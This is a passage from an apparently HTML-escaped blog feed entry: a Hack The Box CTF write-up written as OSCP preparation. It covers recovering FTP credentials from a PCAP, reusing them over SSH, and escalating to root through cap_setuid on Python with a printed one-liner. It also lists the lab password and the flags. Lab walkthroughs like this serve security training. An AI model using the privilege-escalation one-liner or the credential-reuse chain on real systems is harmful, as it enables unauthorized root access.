&lt;p&gt;&lt;strong&gt;Why FTP is still dangerous:&lt;/strong&gt; FTP has existed since 1971 and has never had transport encryption. Every byte — including your username and password — travels as readable ASCII. SFTP and FTPS exist precisely because of this. In internal network assessments, being on the same network segment as FTP traffic, or finding a PCAP that captured it, is frequently enough to gain initial access. If you're doing an internal pentest and you see port 21 open on a server, start sniffing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  SSH as Nathan
&lt;/h3&gt;

&lt;p&gt;Password reuse. The FTP credentials work directly on SSH:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh nathan@10.129.12.255
&lt;span class="c"&gt;# Password: Buck3tH4TF0RM3!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell as &lt;code&gt;nathan&lt;/code&gt;. User flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;user.txt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ea34748abba367e85ac0aec4f9932bad&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Enumeration
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; — nothing. No SUID binaries worth pursuing. Time to check &lt;strong&gt;Linux capabilities&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;getcap &lt;span class="nt"&gt;-r&lt;/span&gt; / 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There it is.&lt;/p&gt;

&lt;h3&gt;
  
  
  Understanding cap_setuid
&lt;/h3&gt;

&lt;p&gt;Linux capabilities are a deliberate design choice — they allow granting specific privileges to a process without making it fully root. The idea is fine-grained access control: give a web server the ability to bind to port 80 (&lt;code&gt;cap_net_bind_service&lt;/code&gt;) without giving it full administrative access.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cap_setuid&lt;/code&gt; lets a process call &lt;code&gt;setuid()&lt;/code&gt; to &lt;strong&gt;change its effective user ID to any UID on the system — including UID 0, which is root&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When this capability is attached to an interpreter like Python, it means anyone who can run that interpreter can invoke &lt;code&gt;setuid(0)&lt;/code&gt; from inside a script. No password. No sudo. No exploit. The OS hands you root because the binary is marked as allowed to ask for it.&lt;/p&gt;

&lt;p&gt;This is documented on &lt;a href="https://gtfobins.github.io/gtfobins/python/#capabilities" rel="noopener noreferrer"&gt;GTFOBins&lt;/a&gt; and comes up regularly in CTFs and real assessments. Admins sometimes set capabilities thinking it's a safer alternative to sudo — but &lt;code&gt;cap_setuid&lt;/code&gt; on any general-purpose interpreter is functionally equivalent to unrestricted root access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exploitation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import os; os.setuid(0); os.system('/bin/bash')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Breaking it down:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;os.setuid(0)&lt;/code&gt; — changes the process's UID to 0 (root), permitted because &lt;code&gt;cap_setuid&lt;/code&gt; is set on &lt;code&gt;/usr/bin/python3.8&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;os.system('/bin/bash')&lt;/code&gt; — spawns a bash shell that inherits the root UID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Root shell. Instant.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;root.txt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;3a0175a10c1007605d6b3813fb2cb37b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Full Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap
  └─ port 80 (Gunicorn web app)
       └─ /capture → IDOR on /data/0
            └─ download PCAP
                 └─ tcpdump → FTP creds (plaintext)
                      └─ ssh as nathan (password reuse)
                           └─ getcap -r /
                                └─ cap_setuid on python3.8
                                     └─ setuid(0) → root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Always fuzz sequential IDs.&lt;/strong&gt;&lt;br&gt;
When you see &lt;code&gt;/data/1&lt;/code&gt; or &lt;code&gt;/item/42&lt;/code&gt; in a URL, the first thing you test is &lt;code&gt;/data/0&lt;/code&gt;, &lt;code&gt;/data/2&lt;/code&gt;, and IDs belonging to other users. If the app doesn't enforce ownership server-side, you have IDOR. This is one of the highest-yield, lowest-effort checks in web app testing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. FTP is a credential gift.&lt;/strong&gt;&lt;br&gt;
Anonymous login disabled doesn't mean FTP is useless. If you can capture traffic (via a PCAP, MITM position, or a misconfigured network tap), FTP credentials come out in plaintext. Always check port 21 on internal assessments and look for PCAPs anywhere on the filesystem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Password reuse is the rule, not the exception.&lt;/strong&gt;&lt;br&gt;
One set of leaked credentials should always be tried on every other service: SSH, RDP, VPN, admin panels. Nathan's FTP password working on SSH is cliché in CTFs because it's realistic. Password reuse is endemic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. &lt;code&gt;getcap -r /&lt;/code&gt; belongs on your privesc checklist.&lt;/strong&gt;&lt;br&gt;
Run it right after &lt;code&gt;sudo -l&lt;/code&gt;. &lt;code&gt;cap_setuid&lt;/code&gt; on any interpreter (Python, Perl, Ruby, Node) is root. GTFOBins has one-liners for all of them.&lt;/p&gt;




&lt;h2&gt;
  
  
  Tools Used
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nmap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Port scan and service fingerprinting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;curl&lt;/code&gt; / browser&lt;/td&gt;
&lt;td&gt;Web app enumeration, IDOR testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wget&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Download the vulnerable PCAP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tcpdump&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Parse PCAP and extract plaintext FTP credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ssh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Initial access with recovered credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;getcap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Identify Linux capability misconfigurations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;python3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exploit &lt;code&gt;cap_setuid&lt;/code&gt; for root shell&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gtfobins.github.io/gtfobins/python/#capabilities" rel="noopener noreferrer"&gt;GTFOBins — Python capabilities&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for-Insecure_Direct_Object_References" rel="noopener noreferrer"&gt;OWASP — IDOR Testing Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://man7.org/linux/man-pages/man7/capabilities.7.html" rel="noopener noreferrer"&gt;Linux Capabilities — man7.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://datatracker.ietf.org/doc/html/rfc959" rel="noopener noreferrer"&gt;FTP Protocol — RFC 959&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;I'm working through HTB machines as part of my OSCP prep. Follow along for writeups, notes, and lessons learned — one machine at a time.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Target: OSCP by early 2027. Current: building the reps.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>htb</category>
      <category>oscp</category>
      <category>ctf</category>
      <category>linux</category>
    </item>
  </channel>
</rss>
